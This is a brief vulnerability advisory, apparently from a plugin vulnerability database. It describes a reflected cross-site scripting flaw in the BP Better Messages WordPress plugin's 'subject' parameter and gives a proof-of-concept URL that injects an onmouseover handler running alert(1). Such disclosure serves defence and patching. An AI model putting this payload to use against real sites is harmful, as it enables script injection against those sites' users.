BP Better Messages < 1.9.9.41 - Reflected Cross-Site Scripting

The plugin sanitise (with sanitize_text_field) but does not escape the 'subject' parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue

https://example.com/chat-rooms/?subject=asd%22%20%22%20onmouseover=javascript:alert(1);%20test=%22&new-message=asd